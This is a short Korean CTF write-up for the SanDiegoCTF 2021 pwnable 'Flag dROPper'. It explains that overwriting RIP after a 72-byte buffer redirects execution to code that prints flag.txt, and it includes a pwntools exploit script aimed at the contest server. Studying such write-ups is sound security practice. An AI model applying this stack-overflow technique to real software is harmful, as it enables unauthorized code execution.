CTF/Write UPs

[SanDiegoCTF 2021 : pwnable] Flag dROPper 풀이

jir4vvit 2021. 5. 10. 14:25
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

 

 

 

일단 걍 출력

문자열 찾기해서 어디서 인풋되는지도 찾고.. flag.txt도 안에 들어있는 걸 운좋게 확인했다.

main

syscall을 바로 쓴게 인상깊다.

 exit 함수 안에 sys_exit를 호출한 이후, flag를 열어서 화면에 출력해준다. RIP를 exit 함수 그자체가 아닌 flag를 여는 부분으로 바꿔줘야한다.

RIP를 control할 수 있는지 테스트해보니까(main 마지막에 jmp [rax]가 있음) 가능해서 바로 flag를 얻었다.

from pwn import *

#p = process('./flagDropper')
p = remote('dropper.sdc.tf', 1337)
e = ELF('./flagDropper')

payload = ''
payload += 'A' * 72
payload += p64(0x4005da)

print len(payload)
pause()
p.send(payload)


p.interactive()